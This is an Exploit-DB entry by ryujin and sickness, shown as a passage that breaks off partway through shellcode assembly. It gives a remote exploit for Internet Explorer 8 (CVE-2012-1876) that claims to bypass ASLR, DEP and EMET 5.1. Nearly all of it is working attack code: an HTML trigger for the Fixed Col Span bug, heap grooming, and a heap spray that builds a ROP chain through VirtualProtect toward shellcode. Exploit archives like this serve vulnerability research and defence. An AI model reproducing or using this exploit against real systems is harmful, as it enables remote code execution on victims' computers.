Exploit-DB #35273
Description: Microsoft Internet Explorer 8 - Fixed Col Span ID (Full ASLR + DEP + EMET 5.1 Bypass) (MS12-037)
Type: remote
Platform: windows
Date: 2014-11-17
Author: ryujin & sickness

Exploit:
<!--
** Internet Explorer 8 Fixed Col Span ID full ASLR, DEP and EMET 5.1 bypass
** Exploit Coded by sickness || EMET 5.1 bypass by ryujin
** http://www.offensive-security.com/vulndev/disarming-and-bypassing-emet-5-1/
** Affected Software: Internet Explorer 8
** Vulnerability: Fixed Col Span ID
** CVE: CVE-2012-1876
** Tested on Windows 7 (x86) - IE 8.0.7601.17514 & EMET 5.1
-->

<html>
<body>
<div id="evil"></div>
<table style="table-layout:fixed" ><col id="132" width="41" span="9" >  </col></table>
<script language='javascript'>

function strtoint(str) {
        return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
}

var free = "EEEE";
while ( free.length < 500 ) free += free;

var string1 = "AAAA";
while ( string1.length < 500 ) string1 += string1;

var string2 = "BBBB";
while ( string2.length < 500 ) string2 += string2;

var fr = new Array();
var al = new Array();
var bl = new Array();

var div_container = document.getElementById("evil");
div_container.style.cssText = "display:none";

for (var i=0; i < 500; i+=2) {
        fr[i] = free.substring(0, (0x100-6)/2);
        al[i] = string1.substring(0, (0x100-6)/2);
        bl[i] = string2.substring(0, (0x100-6)/2);
        var obj = document.createElement("button");
        div_container.appendChild(obj);
}

for (var i=200; i<500; i+=2 ) {
        fr[i] = null;
        CollectGarbage();
}

function heapspray(cbuttonlayout) {
    CollectGarbage();
    var rop = cbuttonlayout + 4161; // RET
    var rop = rop.toString(16);
    var rop1 = rop.substring(4,8);
    var rop2 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 11360; // POP EBP
    var rop = rop.toString(16);
    var rop3 = rop.substring(4,8);
    var rop4 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 111675; // XCHG EAX,ESP
    var rop = rop.toString(16);
    var rop5 = rop.substring(4,8);
    var rop6 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 12377; // POP EBX
    var rop = rop.toString(16);
    var rop7 = rop.substring(4,8);
    var rop8 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 642768; // POP EDX
    var rop = rop.toString(16);
    var rop9 = rop.substring(4,8);
    var rop10 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 12201; // POP ECX --> Changed
    var rop = rop.toString(16);
    var rop11 = rop.substring(4,8);
    var rop12 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 5504544; // Writable location
    var rop = rop.toString(16);
    var writable1 = rop.substring(4,8);
    var writable2 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 12462; // POP EDI
    var rop = rop.toString(16);
    var rop13 = rop.substring(4,8);
    var rop14 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 12043; // POP ESI --> changed
    var rop = rop.toString(16);
    var rop15 = rop.substring(4,8);
    var rop16 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 63776; // JMP EAX
    var rop = rop.toString(16);
    var jmpeax1 = rop.substring(4,8);
    var jmpeax2 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 85751; // POP EAX
    var rop = rop.toString(16);
    var rop17 = rop.substring(4,8);
    var rop18 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 4936; // VirtualProtect()
    var rop = rop.toString(16);
    var vp1 = rop.substring(4,8);
    var vp2 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 454843; // MOV EAX,DWORD PTR DS:[EAX]
    var rop = rop.toString(16);
    var rop19 = rop.substring(4,8);
    var rop20 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 234657; // PUSHAD
    var rop = rop.toString(16);
    var rop21 = rop.substring(4,8);
    var rop22 = rop.substring(0,4); // } RET


    var rop = cbuttonlayout + 408958; // PUSH ESP
    var rop = rop.toString(16);
    var rop23 = rop.substring(4,8);
    var rop24 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 2228408; // POP ECX
    var rop = rop.toString(16);
    var rop25 = rop.substring(4,8);
    var rop26 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 1586172; // POP EAX
    var rop = rop.toString(16);
    var rop27 = rop.substring(4,8);
    var rop28 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 1589179; // MOV EAX,DWORD PTR [EAX]
    var rop = rop.toString(16);
    var rop29 = rop.substring(4,8);
    var rop30 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 1884912; // PUSH EAX
    var rop = rop.toString(16);
    var rop31 = rop.substring(4,8);
    var rop32 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 2140694; // ADD EAX,ECX
    var rop = rop.toString(16);
    var rop33 = rop.substring(4,8);
    var rop34 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 2364867; // MOV DWORD PTR [EAX],ECX
    var rop = rop.toString(16);
    var rop35 = rop.substring(4,8);
    var rop36 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 1816868; // MOV DWORD PTR DS:[ESI],EAX
    var rop = rop.toString(16);
    var rop37 = rop.substring(4,8);
    var rop38 = rop.substring(0,4); // } RET

    var getmodulew = cbuttonlayout + 4840; // GetModuleHandleW
    var getmodulew = getmodulew.toString(16);
    var getmodulew1 = getmodulew.substring(4,8);
    var getmodulew2 = getmodulew.substring(0,4); // } RET

    var rop = cbuttonlayout + 3621437; // MOV EAX,EDX
    var rop = rop.toString(16);
    var rop41 = rop.substring(4,8);
    var rop42 = rop.substring(0,4); // } RET

    var shellcode = unescape("%u4444");
    while (shellcode.length < 100)
        shellcode = shellcode + shellcode;
        var shellcode = shellcode.substr(0, 46);

    shellcode+= unescape("%u"+rop1+"%u"+rop2); // RETN
    shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP # RETN
    shellcode+= unescape